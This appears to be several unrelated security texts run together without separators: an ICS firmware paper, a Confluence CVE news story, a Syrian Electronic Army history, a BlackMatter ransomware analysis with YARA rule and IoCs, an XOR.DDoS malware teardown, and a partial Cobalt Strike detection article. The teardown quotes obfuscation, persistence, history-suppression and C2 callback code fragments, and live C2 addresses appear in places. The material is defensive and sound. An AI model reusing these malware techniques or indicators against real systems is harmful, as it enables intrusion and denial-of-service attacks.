patching the Windows OS every month may be missing patches in the Oracle database, Java Runtime Environment, Apache web server, or other non-Windows software. An attacker could upload malicious firmware on a field device to identify and exploit missing security patches on workstations and servers on the SCADA and DCS. An example of this malicious software could be in the form of a worm that would seek out other similar devices to exploit and load itself onto, but also have a set of attacks for HMIs, real-time servers, and historians. This behavior could be uncontrolled as many early worms were, and simply exist for destructiveness, or it could be controlled by an authority or “botmaster” directing the activities of the compromised devices and systems. ### 2.8 Solutions The solutions to the malicious firmware upload over the network are straightforward. The low-tech solution is to not allow over-the-network firmware upload. Many controllers have physical keys that can restrict the ability to load new firmware over the network or locally. This is an effective control, but it can have a significant impact on the ability to manage a system of field devices, especially in a geographically dispersed SCADA system. The high-tech solution is to add source and data authentication to the firmware upload process. The most straightforward way to do this is with a public key certificate infrastructure and a digital signature on the firmware upload. The field device could verify the certificate and the digital signature to confirm the firmware was from an authorized entity and had not been changed in transit. This would require public key implementations on the Ethernet cards, but efficient and secure algorithms are available using elliptic curve technology. Since firmware updates are rare events, the processing time required to verify the certificate and digital signature is not an important factor. ## 3 Management Application Vulnerabilities Field device vendors have been trying to find ways to make field device management easier and provide more status information to network management and monitoring systems. It is common to find field devices with web servers, FTP servers, the SNMP service, and the Telnet service. Each of these servers or services is well known and commonly attacked by the hacking community. Sometimes the operating system on the Ethernet card provides these servers and services; in other cases, the field device vendor develops their own server and service; and in many cases, the field device vendor buys a low-cost or obtains a free management server or service. The commonality in all these cases is these management servers and services are rarely designed to be full-featured, maintained, and secured. They often fall into the category of “quick and dirty.” An alert asset owner will know they should patch a Microsoft IIS or Apache web server by monitoring one or more cybersecurity bug fix lists. But that same asset owner is unlikely to even monitor the vendor of the web server on a field device for vulnerabilities and security patches. In a review of the field devices installed in Digital Bond’s lab, we found that many of the common vulnerabilities in similar IT applications were integrated into the field device applications. This section provides examples of common vulnerabilities in these management services found in a small sample of field devices. ### 3.1 Web Server Several different forms of cross-site scripting (XSS) were found on the sample field devices. These vulnerabilities can be leveraged to exploit vulnerabilities in client-side software, such as Internet Explorer. We found both persistent and non-persistent XSS, some that would require social engineering to encourage a user to follow a link, and others that could wait for a user to visit the management interface before the attack was launched, weeks or even months later. Flaws were also found which enabled unauthenticated users to view the ASP source code of a page and access configuration files without a password by appending a trailing “/” to the URL. #### 3.1.1 Example The Koyo H4-ECOM100 module provides a good demonstration of these types of vulnerabilities. The management interface requires no authentication to access the device, and the user-editable fields are not properly sanitized before being served back to the user. ### 3.2 FTP Server During the disassembly of the Rockwell Automation device code, an FTP server was discovered; however, the device does not have this FTP server functionality enabled. By manipulating the firmware and simply replacing a 0 with a 1 in an XML configuration file that was clearly visible in the firmware, we were able to activate and interact with the FTP service. So we have not only expanded the functionality of the device but also expanded the attack surface. This functionality was provided by the underlying operating system, and the vendor may not have been aware that the FTP server code was even on the Ethernet card. Initially, we are simply presented with a login when connecting to the FTP service, but with the Administrator username and blank password, discovered through the assessment of the web server, we are able to login to the device. Not only did this open up many other FTP commands to attack, commands in which vulnerabilities were found, but it also now provides a location to store information for later use in exploitation or to store damaging or illicit data. ### 3.3 SNMP The Rockwell Automation 1756 ENBT module also runs an SNMP service that allows large amounts of information to unauthenticated sources that could be leveraged in further attacks against the system, such as services and types of devices. The lack of authentication is just further evidence that these field devices were designed with the expectation they would be in a secure environment and only accessible by authorized users. ## 4 Operating System Vulnerabilities While beyond the scope of this paper, the authors feel it is important to recognize that the underlying field device operating system is a large attack surface that has received little scrutiny by security researchers or the hacking community to date. Some real-time and embedded operating systems are used in numerous field devices that monitor and control critical infrastructures. These are likely to garner more attention by directed attackers in the future and are worthy of analysis by security researchers. ## 5 Conclusion The Ethernet cards on field devices present an attractive target for attackers because of their distribution throughout a modern control system, lack of security features, and lack of security attention paid to these cards. In this paper, the authors have demonstrated how a lack of authentication in the firmware upload allows an attacker to load malicious code into two field device Ethernet cards. The impact of this malicious code on the process, field device, and other components on the control system is limited only by the creativity and imagination of an attacker. Control system asset owners should be determining if firmware can be uploaded into their field device Ethernet cards. And if the answer is yes, is this source and integrity of this firmware upload authenticated prior to loading on the card? If firmware authentication is not required, the vendor should be contacted and strongly encouraged to address this vulnerability. Asset owners should also consider adding authentication of firmware uploads to any future buying criteria. Finally, control system asset owners and vendors should not ignore the security of the management services commonly found on Ethernet cards such as HTTP, FTP, Telnet, and SNMP. --- **About the Authors** Daniel Peck is an Offensive Security Researcher at Digital Bond and a key member of the U.S. Government funded Portaledge and Quickdraw research projects. Prior to joining Digital Bond, Mr. Peck was a security researcher at SecureWorks and a frequent presenter at leading security events such as BlackHat, Defcon, and the Pentagon Security Forum. Dale Peterson is a founder of Digital Bond, Inc. and has led their Control System Security Consulting and Research Practice since 2000. He began his career as an award-winning Cryptanalyst at the National Security Agency and has more than twenty years of experience in information security.
# Confluence Enterprise Servers Targeted with Recent Vulnerability A major vulnerability in Confluence’s team collaboration server software is currently on the cusp of widespread abuse after mass scanning and initial exploitation was spotted this week. Tracked as CVE-2021-26084, the vulnerability impacts Confluence Server and Confluence Data Center software that’s usually installed on Confluence self-hosted project management, wiki, and team collaboration platforms. Under the hood, the vulnerability resides in OGNL (Object-Graph Navigation Language), a simple scripting language for interacting with Java code, the underlying technology in which most Confluence software has been written. When it released patches on August 25, last week, Atlassian, the company that owns the Confluence software family, said the vulnerability could be exploited by threat actors to bypass authentication and inject malicious OGNL commands that allow them to take over unpatched systems. As a result, the vulnerability was assigned a severity score of 9.8 out of a maximum of 10, as it allowed remote exploitation over the internet and because the complexity of developing a weaponized exploit was considered low. On Tuesday, Vietnamese security researcher Tuan Anh Nguyen said that mass scans for Confluence servers are currently underway, with attackers and professional bug bounty hunters probing Confluence systems for functions vulnerable to CVE-2021-26084 attacks. > About CVE-2021-26084, Block endpoint /pages/createpage-entervariables.action > If you can't patch your server. The attacker can exploit without authentication although signup is disabled by default. > Mass scan already start and bug bounty hunters are farming it 🙂 #RCE #Confluence > pic.twitter.com/C0JfIEYPhb > — Tuan Anh Nguyen (@haxor31337) August 31, 2021 Soon after mass exploitation was spotted in the wild, two security researchers, Rahul Maini and Harsh Jaiswal, also published an in-depth explanation of the bug on GitHub, which also included several proof-of-concept payloads. In a tweet, Maini described the process of developing the CVE-2021-26084 exploit as “relatively simpler than expected,” effectively confirming why the bug received its high 9.8 severity score. > Just did Atlassian Confluence UnAuth RCE CVE-2021-26084 along with @rootxharsh. > It was relatively simpler than expected 😀 > pic.twitter.com/7hpHt76AES > — Rahul Maini (@iamnoooob) August 28, 2021 With Confluence being a wildly popular team collaboration software inside some of the world’s largest corporations, and with the CVE-2021-26084 vulnerability being extremely powerful from a threat actor’s perspective, attacks from criminal groups are expected to ramp up in the following days. Confluence bugs have been widely weaponized before, so a similar exploitation pattern is expected this time as well. On its website, Atlassian claims that Confluence is used by more than 60,000 customers, including the likes of Audi, Hubspot, NASA, LinkedIn, Twilio, and Docker. **Tags** Atlassian Confluence CVE-2021-26084 exploit exploitation proof-of-concept Catalin Cimpanu is a cybersecurity reporter for The Record. He previously worked at ZDNet and Bleeping Computer, where he became a well-known name in the industry for his constant scoops on new vulnerabilities, cyberattacks, and law enforcement actions against hackers.
# Syrian Electronic Army The Syrian Electronic Army (SEA; Arabic: ﻲﻧوﺮﺘﻜﻟﻹا يرﻮﺴﻟا ﺶﯿﺠﻟا) is a group of computer hackers which first surfaced online in 2011 to support the government of Syrian President Bashar al-Assad. Using spamming, website defacement, malware, phishing, and denial-of-service attacks, it has targeted terrorist organizations, political opposition groups, western news outlets, human rights groups, and websites that are seemingly neutral to the Syrian conflict. It has also hacked government websites in the Middle East and Europe, as well as US defense contractors. As of 2011, the SEA has been "the first Arab country to have a public Internet Army hosted on its national networks to openly launch cyber attacks on its enemies." The precise nature of SEA's relationship with the Syrian government has changed over time and is unclear. ## Origins and Historical Context In the 1990s, Syrian President Bashar al-Assad headed the Syrian Computer Society, which is connected to the SEA, according to research by the University of Toronto and University of Cambridge, UK. There is evidence that a Syrian Malware Team goes as far back as January 1, 2011. In February 2011, after years of Internet censorship, Syrian censors lifted a ban on Facebook and YouTube. In April 2011, only days after anti-regime protests escalated in Syria, the Syrian Electronic Army emerged on Facebook. On May 5, 2011, the Syrian Computer Society registered SEA’s website (syrian-es.com). Because Syria's domain registration authority registered the hacker site, some security experts have written that the group was supervised by the Syrian state. SEA claimed on its webpage to be no official entity, but "a group of enthusiastic Syrian youths who could not stay passive towards the massive distortion of facts about the recent uprising in Syria." As soon as May 27, 2011, SEA had removed text that denied it was an official entity. One commentator has noted that "[SEA] volunteers might include Syrian diaspora; some of their hacks have used colloquial English and Reddit memes." In July 2011, it emerged that Bashar al-Assad's page on Facebook was run by a member of the Syrian Electronic Army close to the regime, Haidara Suleiman, the son of a powerful intelligence officer and former Syrian ambassador in Amman, Bahjat Suleiman. He told AFP that "the official media is unfortunately weak... This is why we use electronic media to show people what's going on." According to a 2014 report by security company Intelcrawler, SEA activity has shown links with "officials in Syria, Iran, Lebanon, and Hezbollah." A February 2015 article by The New York Times stated that "American intelligence officials" suspect the SEA is "actually Iranian." However, no data has shown a link between Iran's and Syria's cyber attack patterns according to an analysis of "open-source intelligence" by cybersecurity firm Recorded Future. ## Online Activities SEA has pursued activities in three key areas: 1. **Website defacement and electronic surveillance against Syrian rebels and other opposition**: The SEA has carried out surveillance to discover the identities and location of Syrian rebels, using malware (including the Blackworm tool), phishing, and denial of service attacks. As of 2013, this electronic monitoring has extended to foreign aid workers. 2. **Defacement attacks against Western websites that it contends spread news hostile to the Syrian government**: These have included news websites such as BBC News, the Associated Press, National Public Radio, CBC News, Al Jazeera, Financial Times, The Daily Telegraph, The Washington Post, Syrian satellite broadcaster Orient TV, and Dubai-based al-Arabia TV, as well as rights organizations such as Human Rights Watch. SEA targets include VoIP apps, such as Viber and Tango. 3. **Spamming popular Facebook pages with pro-regime comments**: The Facebook pages of President Barack Obama and former French President Nicolas Sarkozy have been targeted by such spam campaigns. The SEA's tone and style vary from the serious and openly political to ironic statements intended as critical or pointed humor. SEA had "Exclusive: Terror is striking the #USA and #Obama is Shamelessly in Bed with Al-Qaeda" tweeted from the Twitter account of 60 Minutes, and in July 2012 posted "Do you think Saudi and Qatar should keep funding armed gangs in Syria in order to topple the government? #Syria," from Al Jazeera's Twitter account before the message was removed. In another attack, members of SEA used the BBC Weather Channel Twitter account to post the headline, "Saudi weather station down due to head-on collision with camel." After Washington Post reporter Max Fisher called their jokes unfunny, one hacker associated with the group told a Vice interview, "haters gonna hate." ## Operating System On 31 October 2014, the SEA released a Linux distribution named SEANux. ## Timeline of Notable Attacks - **2011** - July 2011: University of California Los Angeles website defaced by SEA hacker "The Pro." - September 2011: Harvard University website defaced in what was called the work of a "sophisticated group or individual." The Harvard homepage was replaced with an image of Syrian president Bashar al-Assad with the message "Syrian Electronic Army Were Here." - **2012** - August 2012: The Twitter account of the Reuters news agency sent 22 tweets with false information on the conflict in Syria. The Reuters news website was compromised and posted a false report about the conflict to a journalist's blog. - **2013** - 20 April 2013: The Team Gamerfood homepage was defaced. - 23 April 2013: The Associated Press Twitter account falsely claimed the White House had been bombed and President Barack Obama injured. This led to a US$136.5 billion decline in value of the S&P 500 the same day. - May 2013: The Twitter account of The Onion was compromised by phishing Google Apps accounts of The Onion's employees. The platform was also used by the hackers to spread pro-Syrian tweets. - 24 May 2013: The ITV News London Twitter account was hacked. - 26 May 2013: The Android applications of British broadcaster Sky News were hacked on Google Play Store. - 17 July 2013: Truecaller servers were hacked into by the Syrian Electronic Army. The group claimed on its Twitter handle to have recovered 459 GiBs of database, primarily due to an older version of WordPress installed on the servers. The hackers released Truecaller's alleged database host ID, username, and password via another tweet. On 18 July 2013, TrueCaller confirmed on its blog that only their website was hacked, but claimed that the attack did not disclose any passwords or credit card information. - 23 July 2013: Viber servers were hacked, the support website replaced with a message and a supposed screenshot of data that was obtained during the intrusion. - 15 August 2013: Advertising service Outbrain suffered a spearphishing attack and SEA placed redirects into the websites of The Washington Post, Time, and CNN. - 27 August 2013: NYTimes.com had its DNS redirected to a page that displayed the message "Hacked by SEA" and Twitter's domain registrar was changed. - 28 August 2013: Twitter's DNS registration showed the SEA as its Admin and Tech contacts, and some users reported that the site's Cascading Style Sheets (CSS) had been compromised. - 29–30 August 2013: The New York Times, The Huffington Post, and Twitter were knocked down by the SEA. A person claiming to speak for the group stepped forward to tie these attacks to the increasing likelihood of U.S military action in response to al-Assad using chemical weapons. A self-described operative of the SEA told ABC News in an e-mail exchange: "When we hacked media we do not destroy the site but only publish on it if possible, or publish an article [that] contains the truth of what is happening in Syria. ... So if the USA launch attack on Syria we may use methods of causing harm, both for the U.S. economy or other." - 2–3 September 2013: Pro-Syria hackers broke into the Internet recruiting site for the US Marine Corps, posting a message that urged US soldiers to refuse orders if Washington decides to launch a strike against the Syrian government. The site, www.marines.com, was paralyzed for several hours and redirected to a seven-sentence message "delivered by SEA." - 30 September 2013: The Global Post's official Twitter account and website were hacked. SEA posted through their Twitter account, "Think twice before you publish untrusted informations [sic] about Syrian Electronic Army" and "This time we hacked your website and your Twitter account, the next time you will start searching for new job." - 28 October 2013: By gaining access to the Gmail account of an Organizing for Action staffer, the SEA altered shortened URLs on President Obama's Facebook and Twitter accounts to point to a 24-minute pro-government video on YouTube. - 9 November 2013: SEA hacked the website of VICE, a no-affiliate news/documentary/blog website, which has filmed numerous times in Syria with the side of the Rebel forces. Logging into vice.com redirected to what appeared to be the SEA homepage. - 12 November 2013: SEA hacked the Facebook page of Matthew VanDyke, a Libyan Civil War veteran and pro-rebel news reporter. - **2014** - 1 January 2014: SEA hacked Skype's Facebook, Twitter, and blog, posting an SEA related picture and telling users not to use Microsoft's e-mail service Outlook.com — formerly known as Hotmail—claiming that Microsoft sells user information to the government. - 11 January 2014: SEA hacked the Xbox Support Twitter pages and directed tweets to the group's website. - 22 January 2014: SEA hacked the official Microsoft Office Blog, posting several images and tweeted about the attack. - 23 January 2014: CNN's HURACAN CAMPEÓN 2014 official Twitter account showed two messages, including a photo of the Syrian Flag composed of binary code. CNN removed the Tweets within 10 minutes. - 3 February 2014: SEA hacked the websites of eBay and PayPal UK. One source reported the hackers said it was just for show and that they took no data. - 6 February 2014: SEA hacked the DNS of Facebook. Sources said the registrant contact details were restored and Facebook confirmed that no traffic to the website was hijacked, and that no users of the social network were affected. - 14 February 2014: SEA hacked the Forbes website and their Twitter accounts. - 26 April 2014: SEA hacked the information security-related RSA Conference website. - 18 June 2014: SEA hacked the websites of British newspapers The Sun (United Kingdom) and The Sunday Times. - 22 June 2014: The Reuters website was hacked a second time and showed a SEA message condemning Reuters for "publishing false articles about Syria." Hackers compromised the website, corrupting ads served by Taboola. - 27 November 2014: SEA hacked hundreds of sites through hijacking Gigya's comment system of prominent websites, displaying a message "You've been hacked by the Syrian Electronic Army(SEA)." Affected websites included the Aberdeen Evening Express, Logitech, Forbes, The Independent UK Magazine, London Evening Standard, The Telegraph, NBC, the National Hockey League, Finishline.com, PCH.com, Time Out New York, and t3.com (a tech website), stv.com, Walmart Canada, PacSun, Daily Mail websites, bikeradar.com (cycling website), SparkNotes, millionshort.com, Milenio.com, Mediotiempo.com, Todobebe.com, myrecipes.com, Biz Day SA, BDlive South Africa, muscleandfitness.com, and CBC News. - **2015** - 21 January 2015: French newspaper Le Monde wrote that SEA hackers "managed to infiltrate our publishing tool before launching a denial of service." - **2018** - 17 May 2018: Two suspects were indicted by the United States for "conspiracy" for hacking several US websites. - **2021** - October 2021: Facebook discovers the presence of several fake accounts run by the SEA and its affiliated organizations. The accounts had reportedly been used to target Syrian opposition figures and human rights activists, as well as members of the YPG and White Helmets. ## Legal Actions - **10 May 2016**: Syrian Electronic Army member Peter Romar was extradited from Germany to the United States to face charges brought by the Department of Justice for engaging in a "multi-year criminal conspiracy to conduct computer intrusions against perceived detractors of President Bashar al-Assad, including media entities, the White House, and foreign governments."
# Threat Thursday: BlackMatter RaaS - Darker Than DarkSide? **The BlackBerry Research & Intelligence Team** First identified in July 2021, BlackMatter is a new player in the Ransomware-as-a-Service (RaaS) arena that many researchers have dubbed the successor to the recently retired Russian ransomware gang DarkSide. However, a spokesperson for BlackMatter insists they are not the same operators. BlackMatter has recently made headlines as the likely culprit behind cybersecurity incidents affecting a major medical technology company and a U.S. farming cooperative. ## About the BlackMatter Group BlackMatter has been advertised on Russian underground forums, such as XSS and Exploit, looking to recruit affiliates. They claim to have adopted the “best” attributes of DarkSide, REvil, and LockBit. Although these underground forums are among those that have banned ransomware advertisements in the wake of the ransom attack on Colonial Pipeline in May 2021, BlackMatter circumvented this restriction by advertising for “initial access brokers.” These brokers are criminal groups that have gained access to corporate networks or machines. In their posts, BlackMatter offers a payment of up to $100,000 USD. They state they are looking for access to corporate networks in English-speaking countries, with targets that have between 500 and 1500 hosts and a revenue of over $100M. The BlackMatter website provides information about the group and even its motivations. The RaaS provider says it aims to fill a void in the market left by DarkSide and REvil pausing their activities. The group’s advertising promotes the strengths of its malware to compete with existing offerings, presumably to attract the most successful affiliates. On their blog site, BlackMatter includes a list of rules defining sectors they do not attack; they claim to offer free decryption to any victims in these sectors. This is most likely an attempt to avoid the backlash suffered by REvil, Conti, and DarkSide in targeting such industries during 2021. Unlike DarkSide and REvil, BlackMatter does not include any checks to ensure victims in certain geolocations are not encrypted. BlackMatter will encrypt Russian systems, which may be another way they’re trying to distinguish themselves from other threat groups. ## Technical Analysis Since July, there have already been several versions and updates of BlackMatter identified. These include versions 1.2, 1.6, 1.9, and 2.0. Additionally, a Linux® variant is available. Statically analyzing a recent sample identifies the file as a Windows® 32-bit executable with a compile stamp from Aug. 16, 2021. The file includes a .rsrc section, although the binary contains no resources. This section is instead where the encoded configuration information is stored. The sample reviewed is a BlackMatter variant version 2.0. The binary uses only three libraries, and its import table contains a short list of Application Programming Interfaces (APIs). BlackMatter employs various methods to help evade detection and hinder researchers. For example, most of the APIs and important strings are obfuscated. The executable will de-obfuscate these during runtime as required. Although this approach is common with threat actors, the way it is implemented by BlackMatter is very similar to the functionality found in DarkSide. Directly after the file’s entry point, the binary resolves the addresses of the APIs it requires when executing. The function shown in the image below dynamically loads additional libraries and APIs. The DWORD values point to blocks of encrypted hashes for each API, followed by a trailing 0xCCCCCCCC. Each hash is decrypted by an XOR operation. The image below illustrates the libraries loaded before execution of the function. The following image illustrates the DLLs loaded into memory after the function to resolve APIs has executed. BlackMatter also employs anti-debugging techniques to hide threads from the debugger, which makes it trickier to analyze. If it is analyzed while running under a debugger, the application will crash. The binary accepts command line arguments when executed. If no argument is supplied, its default action is to first verify the rights of the current user. If required, it will attempt to elevate privileges and bypass User Account Control (UAC). The malware creates a mutex to ensure that only one instance of the ransomware is running. The mutex name is generated from a registry value relating to the MachineGuid; for example, “Global\21661c2e54b253e217f64acc8644f973.” The executable deletes three services relating to shadow copies – “vmicvss,” “vmvss,” and “vss.” Removing shadow copies is a common practice with ransomware, as it prevents victims from easily restoring their systems. BlackMatter will terminate common productivity-related processes to increase its impact. Terminating these processes ensures that important files will not be locked, and valuable files can be encrypted. The ransomware takes a multithreaded approach to enumerating the filesystem and executing the encryption routine, to ensure that files are locked quickly. Local files and any found on connected drives will be encrypted, while vital system files are skipped. The BlackMatter encryption routine shares similarities with that of DarkSide. It uses custom implementations of the Salsa20 and RSA-1024 algorithms. Only the first megabyte of each file is encrypted, and the encrypted key is added to the end of the file. Partially encrypting files makes the process much faster, which shortens the attack duration and leaves little time for the victim to react. Encrypted files are appended with an extension consisting of an alpha-numeric string that varies between attacks. Below is an example of an encrypted filename. The ransomware drops a bitmap image file to C:\ProgramData\ and sets this as the victim’s background through the registry. The wallpaper notifies the user their files have been encrypted by BlackMatter. The image itself appears very similar to the one used by DarkSide. A ransom note is also dropped into each directory as a text file. This text file is named using the same extension as the encrypted files, appended with README.txt. For example, “3LqOKCiOu.README.txt.” The ransom note provides the URL of an onion website (one accessible via TOR) where the victim can pay if they wish to obtain the decryptor for their network. The malware collects information from the victim’s machine and sends this data to its command-and-control (C2) servers in an encoded POST request. During our analysis, the sample in question communicated with http[s]://mojobiden[.]com and http[s]://nowautomation[.]com. Like most modern RaaS providers, BlackMatter uses the technique of double extortion. A leak site is available on the dark net. Victims are threatened that their confidential data will be released publicly if they choose not to pay. ## YARA Rule The following YARA rule was authored by the BlackBerry Research & Intelligence Team to catch the threat described in this document: ```yara import "pe" import "hash" rule Mal_Win_Ransom_BlackMatter { meta: description = "BlackMatter Ransomware September 2021" author = "BlackBerry Threat Research Team" date = "2021-09" condition: pe.is_32bit() and filesize < 90KB and filesize > 60KB and pe.number_of_imports == 3 and pe.imphash() == "2e4ae81fc349a1616df79a6f5499743f" and hash.md5(pe.sections[0].raw_data_offset, pe.sections[0].raw_data_size) == "100da8cf342d6d8f3bd24b367e0ea999" and pe.sections[3].name == ".rsrc" and pe.number_of_signatures == 0 and pe.number_of_sections == 5 } ``` ## Indicators of Compromise (IoCs) **Files Dropped:** C:\ProgramData\<alpha-numeric_extension>.bmp e.g.: C:\ProgramData\3LqOKCiOu.bmp **Mutex:** Global\<alpha-numeric_string> e.g.: Global\21661c2e54b253e217f64acc8644f973 **Services Terminated:** Vmicvss Vmvss Vss **Encrypted Files:** <filename>.<alpha-numeric_extension> e.g.: test.jpg.3LqOKCiOu **Ransom note:** <alpha-numeric_extension>.README.txt e.g.: 3LqOKCiOu.README.txt **C2 Servers:** http[s]://mojobiden[.]com http[s]://nowautomation[.]com **Payment URL:** hxxp://supp24yy6a66hwszu2piygicgwzdtbwftb76htfj7vnip3getgqnzxid.onion/O3KTUJZRE6CB4Q1OBR **BlackBerry Assistance** If you’re battling this malware or a similar threat, you’ve come to the right place, regardless of your existing BlackBerry relationship. The BlackBerry Incident Response team is made up of world-class consultants dedicated to handling response and containment services for a wide range of incidents, including ransomware and Advanced Persistent Threat (APT) cases. We have a global consulting team standing by to assist you by providing around-the-clock support, if required, as well as local assistance. Please contact us here: https://www.blackberry.com/us/en/forms/cylance/handraiser/emergency-incident-response-containment Want to learn more about this threat? Watch our new demo video: BlackBerry vs. BlackMatter RaaS.
# MMD-0028-2014 - Linux/XOR.DDoS: Fuzzy Reversing a New China ELF The latest incident (MMD-0033-2015) we disclosed on ELF Linux/XOR.DDoS malware is here. This research is detected & solved by the hard work of MMD members. Credits are in the bottom of the post. The case is ongoing, and malware infrastructure is mostly up & alive. We don't want to be too detailed in writing because of that reason; we don't want to teach this crook what they're lacking by this post, yet this post is necessary to raise awareness of this newly emerged threat. Feel free to follow the process at will. ## The Infection During the rush of #shellshock, we saw another new threat emerge. We saw an attack log of a one-liner shell script being injected via SSH connection. By the attack source + CNC IP and the payload, this looks like a China crook's new hack scheme to spread a new ELF DDoS'er threat. This was silently spread during the #shellshock waves; note: it was NOT using the #shellshock exploit itself. The details of the attacker's trace in the one-liner shell command are as shown below. If we beautified it, we will see the obfuscation in this shell script. The marked point is where all this code downloads the file `3502.rar` from some defined host addresses. The mentioned RAR file itself is actually a shell script too. You can read the codes here; no free ride copy/paste this time, since we have hard times with those false positives from antiviruses. The `main()` function explains how this script works; read the comments we made (in purple colored words). The blue color explains the obfuscation strings saved in some variables. The yellow marked color words are functions to be executed, and the red color area is the main function of this script, to download and install a payload. The obfuscation used is in the `enc()` and `dec()` functions for encryption and decryption, using the below code (I picked this one, the one used for decrypting): ``` tr "[.0-9a-zA-Z//:]" "[a-zA-Z0-9;-=+*/]"; ``` They called it encryption, but it is just a mere obfuscator using the character map translation in "tr". Below is the easy shell script I made to decode them. Below is the result: We'll see another `3502` file and a bunch of the CNC used. Note the username and password they use. If you permutated the URL with the payload name, you will find some ALIVE malware URLs like these: What is this thing? In short: It's a sophisticated & well-thought ELF malware infection scheme, aiming at Linux on multiple platforms. It downloads, detects all parameters needed to download the payload or source code of the payload. It detects the infected host's architecture, compiler, libraries, together with sending sensitive information of the host, and sends requests to CNC to download certain binaries or resources to hack and then install the ELF binary. ## The Payload The header looks very "fine": **ELF Header:** - Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 - Class: ELF32 - Data: 2's complement, little endian - Version: 1 (current) - OS/ABI: UNIX - System V - ABI Version: 0 - Type: EXEC (Executable file) - Machine: Intel 80386 - Version: 0x1 - Entry point address: 0x8048110 First block: Various analyses resulted in the payload being coded in C. A new DDoS'er made in China. Here's the code (for future reference): - `crtstuff.c` - `autorun.c` - `crc32.c` - `encrypt.c` - `execpacket.c` - `buildnet.c` - `hide.c` - `http.c` - `kill.c` - `main.c` - `proc.c` - `socket.c` - `tcp.c` - `thread.c` - `findip.c` - `dns.c` ### Some Pointers for Characteristic **Self Copy:** ```c // create file for self-copy open("/boot/[a-z]{10}", O_WRONLY|O_CREAT, 0400) open("/boot/[a-z]{10}", O_WRONLY) //chmod 755 chmod("/boot/[a-z]{10}", 0750) // start to write.. open("/boot/[a-z]{10}", O_RDONLY) ``` **Auto Start:** ```c // install SYS .text:0x8048B2E mov dword ptr [esp], offset aSbinInsmod <== "/sbin/insmod" .text:0x8048B35 call LinuxExec_Argv .text:0x8048B3A mov dword ptr [esp], 2 .text:0x8048B41 call sleep // xinetd setup.. .text:0x8048852 call abstract_file_name .text:0x8048857 mov [ebp+var_8], eax .text:0x804885A mov eax, [ebp+arg_0] .text:0x804885D mov [esp+0Ch], eax .text:0x8048861 mov dword ptr [esp+8], offset aBinShS <== "#!/bin/sh\n%s\n" .text:0x8048869 mov dword ptr [esp+4], 400h .text:0x8048871 lea eax, [ebp+newpath] .text:0x8048877 mov [esp], eax .text:0x804887A call snprintf ``` **Malicious Environment Setup (i.e. export cmd):** ``` 0x06988C HOME=/ 0x069893 HISTFILE=/dev/null 0x0698A6 MYSQL_HISTFILE=/dev/null 0x0698C0 PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin ``` ### Encryption There are some encryptions to be decrypted in this malware, tested as below, that looks to have an XOR pattern: ```c // checking decryptor... .text:0x804CB63 mov dword ptr [esp+4], offset aM_Nfr7nlqqgf_0 .text:0x804CB6B lea eax, [ebp+filename] .text:0x804CB71 mov [esp], eax .text:0x804CB74 call dec_conf // decrypting function.. ``` Here is the XOR used as the component logic for the decryption function. A hard-coded callback IP address is also present: **IP:** 103.25.9.228 || 59270 | 103.25.9.0/24 | CLOUD **Country:** "HK | CLOUDRELY.COM" | CLOUD RELY LIMITED The bummer part of this malware is that it crashes itself when run under limited permission. ### Purpose of this Malware The first is backdoor, and then, obviously DoS (SYN, UDP, TCP flood), using encrypted (temporary) config. Below is the PoC of the DDoS function names: - `0x09305E build_syn` // SYN Flood - `0x0950D0 build_tcphdr` // TCP Flood - `0x097101 build_udphdr` // UDP Flood And below is part of backdoor operation using HTTP/1.1 GET (to download/update) and callback in HTTP/1.1 POST: ```c .text:0x804A917 mov dword ptr [esp+8], offset aPostSHttp1_1Sh value: "POST %s HTTP/1.1\r\n%sHost: %s\r\nContent-T" .text:0x804AB1D mov dword ptr [esp+8], offset aGetSHttp1_1Sho value: "GET %s HTTP/1.1\r\n%sHost: %s\r\n%s" ``` Based on the code, it looks like using AES. This is another new China DDoS'er, referred to as Linux/XOR.DDoS. ## Conclusion & Credits This threat is the first time we see a complicated installer/builder. The team feels like playing CTF with this crook. They (China actors) are improving in steps; we must be aware. Please stay safe, folks. **Credit:** @shibumi (threat sensoring), @wirehack7 (formulation), and others who don't want to be mentioned. ## Additional (A reserved section for additional updates) # MalwareMustDie!!
# Detecting Cobalt Strike: Cybercrime Attacks Countermeasures that detect malicious Cobalt Strike activity enabled a compromised organization to mitigate a GOLD LAGOON intrusion before the threat actors deployed ransomware. Many cybercriminals that operate malware use the ubiquitous Cobalt Strike tool to drop multiple payloads after profiling a compromised network. Cobalt Strike is a commercially available and popular command and control (C2) framework used by the security community as well as a wide range of threat actors. The robust use of Cobalt Strike lets threat actors perform intrusions with precision. Secureworks® Counter Threat Unit™ (CTU) researchers conducted a focused investigation into malicious use of Cobalt Strike to gain insights about when and how the tool has been used. This knowledge can help to secure organizations that may be targeted by threat actors with diverse motives. Understanding a threat actor's end goal is important. For example, the financially motivated GOLD LAGOON threat group leverages the Qakbot botnet to deploy Cobalt Strike. CTU™ researchers frequently observe GOLD LAGOON deploying Cobalt Strike to Qakbot-infected hosts that are identified as members of an Active Directory domain. The threat actors then use Cobalt Strike to move laterally throughout the network, establish persistence, and ultimately facilitate damaging post-intrusion ransomware attacks. GOLD LAGOON provides access to other threat groups that deploy various ransomware families in compromised environments. The value of early detection is highlighted by two similar incidents. In the first incident, Secureworks incident responders helped the victim recover from a REvil ransomware attack. The organization did not have an endpoint detection and response (EDR) solution that identified the preceding Qakbot and Cobalt Strike activity, which enabled the threat actors to achieve their objectives. In the second incident, Secureworks Taegis™ XDR countermeasures detected and alerted on the malicious Qakbot and Cobalt Strike activity in the environment, enabling network defenders to respond quickly to contain and mitigate the intrusion before ransomware was deployed. In this second incident, a user opened an Excel 4.0 macro worksheet attached to a phishing email. The attachment downloaded and installed Qakbot. Qakbot profiled the infected host, sent the profiled data to its C2 servers, and then downloaded and executed Cobalt Strike Beacon. The threat actor used Cobalt Strike Beacon's remote code execution capability to execute the ping utility. Ping identified additional accessible servers within the network. The threat actor deployed Cobalt Strike Beacon on those targets and then executed arbitrary commands on those systems via the Rundll32 execution utility. One of these commands attempted to discover domain administrator accounts. This process of deploying Cobalt Strike Beacon to additional servers from a compromised host lets network defenders detect the service established on the remote host, the admin share launching content, and the resulting command execution: - By default, Cobalt Strike always leverages the Rundll32 utility for command execution. - Cobalt Strike always launches Rundll32 as a service via the 'ADMIN$' share on the remote host. - The binary that Cobalt Strike uses to launch Rundll32 via the 'ADMIN$' share always has a filename that is exactly seven alphanumeric characters. The threat actor also installed Cobalt Strike PowerShell stagers on servers accessed 